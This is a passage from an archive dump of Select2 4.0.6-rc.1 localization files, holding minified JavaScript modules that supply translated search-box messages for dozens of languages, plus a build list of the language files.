(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/sr-Cyrl",[],function(){function e(e,t,n,r){return e%10==1&&e%100!=11?t:e%10>=2&&e%10<=4&&(e%100<12||e%100>14)?n:r}return{errorLoading:function(){return"Преузимање није успело."},inputTooLong:function(t){var n=t.input.length-t.maximum,r="Обришите "+n+" симбол";return r+=e(n,"","а","а"),r},inputTooShort:function(t){var n=t.minimum-t.input.length,r="Укуцајте бар још "+n+" симбол";return r+=e(n,"","а","а"),r},loadingMore:function(){return"Преузимање још резултата…"},maximumSelected:function(t){var n="Можете изабрати само "+t.maximum+" ставк";return n+=e(t.maximum,"у","е","и"),n},noResults:function(){return"Ништа није пронађено"},searching:function(){return"Претрага…"}}}),{define:e.define,require:e.require}})();js/i18n/build.txt000064400000003556151677410160007620 0ustar00
af.js
----------------
af.js

ar.js
----------------
ar.js

az.js
----------------
az.js

bg.js
----------------
bg.js

bs.js
----------------
bs.js

ca.js
----------------
ca.js

cs.js
----------------
cs.js

da.js
----------------
da.js

de.js
----------------
de.js

dsb.js
----------------
dsb.js

el.js
----------------
el.js

en.js
----------------
en.js

es.js
----------------
es.js

et.js
----------------
et.js

eu.js
----------------
eu.js

fa.js
----------------
fa.js

fi.js
----------------
fi.js

fr.js
----------------
fr.js

gl.js
----------------
gl.js

he.js
----------------
he.js

hi.js
----------------
hi.js

hr.js
----------------
hr.js

hsb.js
----------------
hsb.js

hu.js
----------------
hu.js

hy.js
----------------
hy.js

id.js
----------------
id.js

is.js
----------------
is.js

it.js
----------------
it.js

ja.js
----------------
ja.js

km.js
----------------
km.js

ko.js
----------------
ko.js

lt.js
----------------
lt.js

lv.js
----------------
lv.js

mk.js
----------------
mk.js

ms.js
----------------
ms.js

nb.js
----------------
nb.js

nl.js
----------------
nl.js

pl.js
----------------
pl.js

ps.js
----------------
ps.js

pt-BR.js
----------------
pt-BR.js

pt.js
----------------
pt.js

ro.js
----------------
ro.js

ru.js
----------------
ru.js

sk.js
----------------
sk.js

sl.js
----------------
sl.js

sr-Cyrl.js
----------------
sr-Cyrl.js

sr.js
----------------
sr.js

sv.js
----------------
sv.js

th.js
----------------
th.js

tk.js
----------------
tk.js

tr.js
----------------
tr.js

uk.js
----------------
uk.js

vi.js
----------------
vi.js

zh-CN.js
----------------
zh-CN.js

zh-TW.js
----------------
zh-TW.js
js/i18n/ar.js000064400000001553151677410160006713 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ar",[],function(){return{errorLoading:function(){return"لا يمكن تحميل النتائج"},inputTooLong:function(e){var t=e.input.length-e.maximum;return"الرجاء حذف "+t+" عناصر"},inputTooShort:function(e){var t=e.minimum-e.input.length;return"الرجاء إضافة "+t+" عناصر"},loadingMore:function(){return"جاري تحميل نتائج إضافية..."},maximumSelected:function(e){return"تستطيع إختيار "+e.maximum+" بنود فقط"},noResults:function(){return"لم يتم العثور على أي نتائج"},searching:function(){return"جاري البحث…"}}}),{define:e.define,require:e.require}})();js/i18n/et.js000064400000001416151677410160006717 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/et",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="Sisesta "+t+" täht";return t!=1&&(n+="e"),n+=" vähem",n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Sisesta "+t+" täht";return t!=1&&(n+="e"),n+=" rohkem",n},loadingMore:function(){return"Laen tulemusi…"},maximumSelected:function(e){var t="Saad vaid "+e.maximum+" tulemus";return e.maximum==1?t+="e":t+="t",t+=" valida",t},noResults:function(){return"Tulemused puuduvad"},searching:function(){return"Otsin…"}}}),{define:e.define,require:e.require}})();js/i18n/ps.js000064400000002002151677410160006721 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ps",[],function(){return{errorLoading:function(){return"پايلي نه سي ترلاسه کېدای"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="د مهربانۍ لمخي "+t+" توری ړنګ کړئ";return t!=1&&(n=n.replace("توری","توري")),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="لږ تر لږه "+t+" يا ډېر توري وليکئ";return n},loadingMore:function(){return"نوري پايلي ترلاسه کيږي..."},maximumSelected:function(e){var t="تاسو يوازي "+e.maximum+" قلم په نښه کولای سی";return e.maximum!=1&&(t=t.replace("قلم","قلمونه")),t},noResults:function(){return"پايلي و نه موندل سوې"},searching:function(){return"لټول کيږي..."}}}),{define:e.define,require:e.require}})();js/i18n/de.js000064400000001534151677410160006700 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/de",[],function(){return{errorLoading:function(){return"Die Ergebnisse konnten nicht geladen werden."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Bitte "+t+" Zeichen weniger eingeben"},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Bitte "+t+" Zeichen mehr eingeben"},loadingMore:function(){return"Lade mehr Ergebnisse…"},maximumSelected:function(e){var t="Sie können nur "+e.maximum+" Eintr";return e.maximum===1?t+="ag":t+="äge",t+=" auswählen",t},noResults:function(){return"Keine Übereinstimmungen gefunden"},searching:function(){return"Suche…"}}}),{define:e.define,require:e.require}})();js/i18n/fa.js000064400000001763151677410160006702 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/fa",[],function(){return{errorLoading:function(){return"امکان بارگذاری نتایج وجود ندارد."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="لطفاً "+t+" کاراکتر را حذف نمایید";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="لطفاً تعداد "+t+" کاراکتر یا بیشتر وارد نمایید";return n},loadingMore:function(){return"در حال بارگذاری نتایج بیشتر..."},maximumSelected:function(e){var t="شما تنها می‌توانید "+e.maximum+" آیتم را انتخاب نمایید";return t},noResults:function(){return"هیچ نتیجه‌ای یافت نشد"},searching:function(){return"در حال جستجو..."}}}),{define:e.define,require:e.require}})();js/i18n/cs.js000064400000002353151677410160006715 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/cs",[],function(){function e(e,t){switch(e){case 2:return t?"dva":"dvě";case 3:return"tři";case 4:return"čtyři"}return""}return{errorLoading:function(){return"Výsledky nemohly být načteny."},inputTooLong:function(t){var n=t.input.length-t.maximum;return n==1?"Prosím, zadejte o jeden znak méně.":n<=4?"Prosím, zadejte o "+e(n,!0)+" znaky méně.":"Prosím, zadejte o "+n+" znaků méně."},inputTooShort:function(t){var n=t.minimum-t.input.length;return n==1?"Prosím, zadejte ještě jeden znak.":n<=4?"Prosím, zadejte ještě další "+e(n,!0)+" znaky.":"Prosím, zadejte ještě dalších "+n+" znaků."},loadingMore:function(){return"Načítají se další výsledky…"},maximumSelected:function(t){var n=t.maximum;return n==1?"Můžete zvolit jen jednu položku.":n<=4?"Můžete zvolit maximálně "+e(n,!1)+" položky.":"Můžete zvolit maximálně "+n+" položek."},noResults:function(){return"Nenalezeny žádné položky."},searching:function(){return"Vyhledávání…"}}}),{define:e.define,require:e.require}})();js/i18n/nl.js000064400000001607151677410160006722 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/nl",[],function(){return{errorLoading:function(){return"De resultaten konden niet worden geladen."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Gelieve "+t+" karakters te verwijderen";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Gelieve "+t+" of meer karakters in te voeren";return n},loadingMore:function(){return"Meer resultaten laden…"},maximumSelected:function(e){var t=e.maximum==1?"kan":"kunnen",n="Er "+t+" maar "+e.maximum+" item";return e.maximum!=1&&(n+="s"),n+=" worden geselecteerd",n},noResults:function(){return"Geen resultaten gevonden…"},searching:function(){return"Zoeken…"}}}),{define:e.define,require:e.require}})();js/i18n/eu.js000064400000001523151677410160006717 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/eu",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="Idatzi ";return t==1?n+="karaktere bat":n+=t+" karaktere",n+=" gutxiago",n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Idatzi ";return t==1?n+="karaktere bat":n+=t+" karaktere",n+=" gehiago",n},loadingMore:function(){return"Emaitza gehiago kargatzen…"},maximumSelected:function(e){return e.maximum===1?"Elementu bakarra hauta dezakezu":e.maximum+" elementu hauta ditzakezu soilik"},noResults:function(){return"Ez da bat datorrenik aurkitu"},searching:function(){return"Bilatzen…"}}}),{define:e.define,require:e.require}})();js/i18n/hy.js000064400000001764151677410160006735 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/hy",[],function(){return{errorLoading:function(){return"Արդյունքները հնարավոր չէ բեռնել։"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Խնդրում ենք հեռացնել "+t+" նշան";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Խնդրում ենք մուտքագրել "+t+" կամ ավել նշաններ";return n},loadingMore:function(){return"Բեռնվում են նոր արդյունքներ․․․"},maximumSelected:function(e){var t="Դուք կարող եք ընտրել առավելագույնը "+e.maximum+" կետ";return t},noResults:function(){return"Արդյունքներ չեն գտնվել"},searching:function(){return"Որոնում․․․"}}}),{define:e.define,require:e.require}})();js/i18n/he.js000064400000001676151677410160006713 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/he",[],function(){return{errorLoading:function(){return"שגיאה בטעינת התוצאות"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="נא למחוק ";return t===1?n+="תו אחד":n+=t+" תווים",n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="נא להכניס ";return t===1?n+="תו אחד":n+=t+" תווים",n+=" או יותר",n},loadingMore:function(){return"טוען תוצאות נוספות…"},maximumSelected:function(e){var t="באפשרותך לבחור עד ";return e.maximum===1?t+="פריט אחד":t+=e.maximum+" פריטים",t},noResults:function(){return"לא נמצאו תוצאות"},searching:function(){return"מחפש…"}}}),{define:e.define,require:e.require}})();js/i18n/ja.js000064400000001527151677410160006704 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ja",[],function(){return{errorLoading:function(){return"結果が読み込まれませんでした"},inputTooLong:function(e){var t=e.input.length-e.maximum,n=t+" 文字を削除してください";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="少なくとも "+t+" 文字を入力してください";return n},loadingMore:function(){return"読み込み中…"},maximumSelected:function(e){var t=e.maximum+" 件しか選択できません";return t},noResults:function(){return"対象が見つかりません"},searching:function(){return"検索しています…"}}}),{define:e.define,require:e.require}})();js/i18n/fr.js000064400000001572151677410160006721 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/fr",[],function(){return{errorLoading:function(){return"Les résultats ne peuvent pas être chargés."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Supprimez "+t+" caractère"+(t>1?"s":"")},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Saisissez au moins "+t+" caractère"+(t>1?"s":"")},loadingMore:function(){return"Chargement de résultats supplémentaires…"},maximumSelected:function(e){return"Vous pouvez seulement sélectionner "+e.maximum+" élément"+(e.maximum>1?"s":"")},noResults:function(){return"Aucun résultat trouvé"},searching:function(){return"Recherche en cours…"}}}),{define:e.define,require:e.require}})();js/i18n/is.js000064400000001414151677410160006720 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/is",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="Vinsamlegast styttið texta um "+t+" staf";return t<=1?n:n+"i"},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Vinsamlegast skrifið "+t+" staf";return t>1&&(n+="i"),n+=" í viðbót",n},loadingMore:function(){return"Sæki fleiri niðurstöður…"},maximumSelected:function(e){return"Þú getur aðeins valið "+e.maximum+" atriði"},noResults:function(){return"Ekkert fannst"},searching:function(){return"Leita…"}}}),{define:e.define,require:e.require}})();js/i18n/bg.js000064400000001621151677410160006675 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/bg",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="Моля въведете с "+t+" по-малко символ";return t>1&&(n+="a"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Моля въведете още "+t+" символ";return t>1&&(n+="a"),n},loadingMore:function(){return"Зареждат се още…"},maximumSelected:function(e){var t="Можете да направите до "+e.maximum+" ";return e.maximum>1?t+="избора":t+="избор",t},noResults:function(){return"Няма намерени съвпадения"},searching:function(){return"Търсене…"}}}),{define:e.define,require:e.require}})();js/i18n/bs.js000064400000001663151677410160006717 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/bs",[],function(){function e(e,t,n,r){return e%10==1&&e%100!=11?t:e%10>=2&&e%10<=4&&(e%100<12||e%100>14)?n:r}return{errorLoading:function(){return"Preuzimanje nije uspijelo."},inputTooLong:function(t){var n=t.input.length-t.maximum,r="Obrišite "+n+" simbol";return r+=e(n,"","a","a"),r},inputTooShort:function(t){var n=t.minimum-t.input.length,r="Ukucajte bar još "+n+" simbol";return r+=e(n,"","a","a"),r},loadingMore:function(){return"Preuzimanje još rezultata…"},maximumSelected:function(t){var n="Možete izabrati samo "+t.maximum+" stavk";return n+=e(t.maximum,"u","e","i"),n},noResults:function(){return"Ništa nije pronađeno"},searching:function(){return"Pretraga…"}}}),{define:e.define,require:e.require}})();js/i18n/hsb.js000064400000001777151677410160007075 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/hsb",[],function(){var e=["znamješko","znamješce","znamješka","znamješkow"],t=["zapisk","zapiskaj","zapiski","zapiskow"],n=function(t,n){if(t===1)return n[0];if(t===2)return n[1];if(t>2&&t<=4)return n[2];if(t>=5)return n[3]};return{errorLoading:function(){return"Wuslědki njedachu so začitać."},inputTooLong:function(t){var r=t.input.length-t.maximum;return"Prošu zhašej "+r+" "+n(r,e)},inputTooShort:function(t){var r=t.minimum-t.input.length;return"Prošu zapodaj znajmjeńša "+r+" "+n(r,e)},loadingMore:function(){return"Dalše wuslědki so začitaja…"},maximumSelected:function(e){return"Móžeš jenož "+e.maximum+" "+n(e.maximum,t)+"wubrać"},noResults:function(){return"Žane wuslědki namakane"},searching:function(){return"Pyta so…"}}}),{define:e.define,require:e.require}})();js/i18n/vi.js000064400000001447151677410160006731 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/vi",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="Vui lòng nhập ít hơn "+t+" ký tự";return t!=1&&(n+="s"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Vui lòng nhập nhiều hơn "+t+" ký tự";return n},loadingMore:function(){return"Đang lấy thêm kết quả…"},maximumSelected:function(e){var t="Chỉ có thể chọn được "+e.maximum+" lựa chọn";return t},noResults:function(){return"Không tìm thấy kết quả"},searching:function(){return"Đang tìm…"}}}),{define:e.define,require:e.require}})();js/i18n/es.js000064400000001603151677410160006714 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/es",[],function(){return{errorLoading:function(){return"No se pudieron cargar los resultados"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Por favor, elimine "+t+" car";return t==1?n+="ácter":n+="acteres",n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Por favor, introduzca "+t+" car";return t==1?n+="ácter":n+="acteres",n},loadingMore:function(){return"Cargando más resultados…"},maximumSelected:function(e){var t="Sólo puede seleccionar "+e.maximum+" elemento";return e.maximum!=1&&(t+="s"),t},noResults:function(){return"No se encontraron resultados"},searching:function(){return"Buscando…"}}}),{define:e.define,require:e.require}})();js/i18n/hu.js000064400000001451151677410160006722 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/hu",[],function(){return{errorLoading:function(){return"Az eredmények betöltése nem sikerült."},inputTooLong:function(e){var t=e.input.length-e.maximum;return"Túl hosszú. "+t+" karakterrel több, mint kellene."},inputTooShort:function(e){var t=e.minimum-e.input.length;return"Túl rövid. Még "+t+" karakter hiányzik."},loadingMore:function(){return"Töltés…"},maximumSelected:function(e){return"Csak "+e.maximum+" elemet lehet kiválasztani."},noResults:function(){return"Nincs találat."},searching:function(){return"Keresés…"}}}),{define:e.define,require:e.require}})();js/i18n/ca.js000064400000001563151677410160006675 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/ca",[],function(){return{errorLoading:function(){return"La càrrega ha fallat"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Si us plau, elimina "+t+" car";return t==1?n+="àcter":n+="àcters",n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Si us plau, introdueix "+t+" car";return t==1?n+="àcter":n+="àcters",n},loadingMore:function(){return"Carregant més resultats…"},maximumSelected:function(e){var t="Només es pot seleccionar "+e.maximum+" element";return e.maximum!=1&&(t+="s"),t},noResults:function(){return"No s'han trobat resultats"},searching:function(){return"Cercant…"}}}),{define:e.define,require:e.require}})();js/i18n/pt-BR.js000064400000001534151677410160007234 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/pt-BR",[],function(){return{errorLoading:function(){return"Os resultados não puderam ser carregados."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Apague "+t+" caracter";return t!=1&&(n+="es"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Digite "+t+" ou mais caracteres";return n},loadingMore:function(){return"Carregando mais resultados…"},maximumSelected:function(e){var t="Você só pode selecionar "+e.maximum+" ite";return e.maximum==1?t+="m":t+="ns",t},noResults:function(){return"Nenhum resultado encontrado"},searching:function(){return"Buscando…"}}}),{define:e.define,require:e.require}})();js/i18n/hr.js000064400000001516151677410160006721 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/hr",[],function(){function e(e){var t=" "+e+" znak";return e%10<5&&e%10>0&&(e%100<5||e%100>19)?e%10>1&&(t+="a"):t+="ova",t}return{errorLoading:function(){return"Preuzimanje nije uspjelo."},inputTooLong:function(t){var n=t.input.length-t.maximum;return"Unesite "+e(n)},inputTooShort:function(t){var n=t.minimum-t.input.length;return"Unesite još "+e(n)},loadingMore:function(){return"Učitavanje rezultata…"},maximumSelected:function(e){return"Maksimalan broj odabranih stavki je "+e.maximum},noResults:function(){return"Nema rezultata"},searching:function(){return"Pretraga…"}}}),{define:e.define,require:e.require}})();js/i18n/th.js000064400000002037151677410160006722 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/th",[],function(){return{errorLoading:function(){return"ไม่สามารถค้นข้อมูลได้"},inputTooLong:function(e){var t=e.input.length-e.maximum,n="โปรดลบออก "+t+" ตัวอักษร";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="โปรดพิมพ์เพิ่มอีก "+t+" ตัวอักษร";return n},loadingMore:function(){return"กำลังค้นข้อมูลเพิ่ม…"},maximumSelected:function(e){var t="คุณสามารถเลือกได้ไม่เกิน "+e.maximum+" รายการ";return t},noResults:function(){return"ไม่พบข้อมูล"},searching:function(){return"กำลังค้นข้อมูล…"}}}),{define:e.define,require:e.require}})();js/i18n/en.js000064400000001502151677410160006705 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/en",[],function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Please delete "+t+" character";return t!=1&&(n+="s"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Please enter "+t+" or more characters";return n},loadingMore:function(){return"Loading more results…"},maximumSelected:function(e){var t="You can only select "+e.maximum+" item";return e.maximum!=1&&(t+="s"),t},noResults:function(){return"No results found"},searching:function(){return"Searching…"}}}),{define:e.define,require:e.require}})();js/i18n/el.js000064400000002163151677410160006707 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/el",[],function(){return{errorLoading:function(){return"Τα αποτελέσματα δεν μπόρεσαν να φορτώσουν."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Παρακαλώ διαγράψτε "+t+" χαρακτήρ";return t==1&&(n+="α"),t!=1&&(n+="ες"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Παρακαλώ συμπληρώστε "+t+" ή περισσότερους χαρακτήρες";return n},loadingMore:function(){return"Φόρτωση περισσότερων αποτελεσμάτων…"},maximumSelected:function(e){var t="Μπορείτε να επιλέξετε μόνο "+e.maximum+" επιλογ";return e.maximum==1&&(t+="ή"),e.maximum!=1&&(t+="ές"),t},noResults:function(){return"Δεν βρέθηκαν αποτελέσματα"},searching:function(){return"Αναζήτηση…"}}}),{define:e.define,require:e.require}})();js/i18n/sv.js000064400000001431151677410160006734 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/sv",[],function(){return{errorLoading:function(){return"Resultat kunde inte laddas."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Vänligen sudda ut "+t+" tecken";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Vänligen skriv in "+t+" eller fler tecken";return n},loadingMore:function(){return"Laddar fler resultat…"},maximumSelected:function(e){var t="Du kan max välja "+e.maximum+" element";return t},noResults:function(){return"Inga träffar"},searching:function(){return"Söker…"}}}),{define:e.define,require:e.require}})();js/i18n/pl.js000064400000001644151677410160006725 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/pl",[],function(){var e=["znak","znaki","znaków"],t=["element","elementy","elementów"],n=function(t,n){if(t===1)return n[0];if(t>1&&t<=4)return n[1];if(t>=5)return n[2]};return{errorLoading:function(){return"Nie można załadować wyników."},inputTooLong:function(t){var r=t.input.length-t.maximum;return"Usuń "+r+" "+n(r,e)},inputTooShort:function(t){var r=t.minimum-t.input.length;return"Podaj przynajmniej "+r+" "+n(r,e)},loadingMore:function(){return"Trwa ładowanie…"},maximumSelected:function(e){return"Możesz zaznaczyć tylko "+e.maximum+" "+n(e.maximum,t)},noResults:function(){return"Brak wyników"},searching:function(){return"Trwa wyszukiwanie…"}}}),{define:e.define,require:e.require}})();js/i18n/sl.js000064400000001601151677410160006721 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/sl",[],function(){return{errorLoading:function(){return"Zadetkov iskanja ni bilo mogoče naložiti."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Prosim zbrišite "+t+" znak";return t==2?n+="a":t!=1&&(n+="e"),n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Prosim vpišite še "+t+" znak";return t==2?n+="a":t!=1&&(n+="e"),n},loadingMore:function(){return"Nalagam več zadetkov…"},maximumSelected:function(e){var t="Označite lahko največ "+e.maximum+" predmet";return e.maximum==2?t+="a":e.maximum!=1&&(t+="e"),t},noResults:function(){return"Ni zadetkov."},searching:function(){return"Iščem…"}}}),{define:e.define,require:e.require}})();js/i18n/zh-TW.js000064400000001313151677410160007254 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/zh-TW",[],function(){return{inputTooLong:function(e){var t=e.input.length-e.maximum,n="請刪掉"+t+"個字元";return n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="請再輸入"+t+"個字元";return n},loadingMore:function(){return"載入中…"},maximumSelected:function(e){var t="你只能選擇最多"+e.maximum+"項";return t},noResults:function(){return"沒有找到相符的項目"},searching:function(){return"搜尋中…"}}}),{define:e.define,require:e.require}})();js/i18n/pt.js000064400000001542151677410160006732 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

(function(){if(jQuery&&jQuery.fn&&jQuery.fn.select2&&jQuery.fn.select2.amd)var e=jQuery.fn.select2.amd;return e.define("select2/i18n/pt",[],function(){return{errorLoading:function(){return"Os resultados não puderam ser carregados."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Por favor apague "+t+" ";return n+=t!=1?"caracteres":"caractere",n},inputTooShort:function(e){var t=e.minimum-e.input.length,n="Introduza "+t+" ou mais caracteres";return n},loadingMore:function(){return"A carregar mais resultados…"},maximumSelected:function(e){var t="Apenas pode seleccionar "+e.maximum+" ";return t+=e.maximum!=1?"itens":"item",t},noResults:function(){return"Sem resultados"},searching:function(){return"A procurar…"}}}),{define:e.define,require:e.require}})();js/i18n/it.js000064400000001563151677410160006726 0ustar00/*! Select2 4.0.6-rc.1 | https://github.com/select2/select2/blob/master/LICENSE.md */

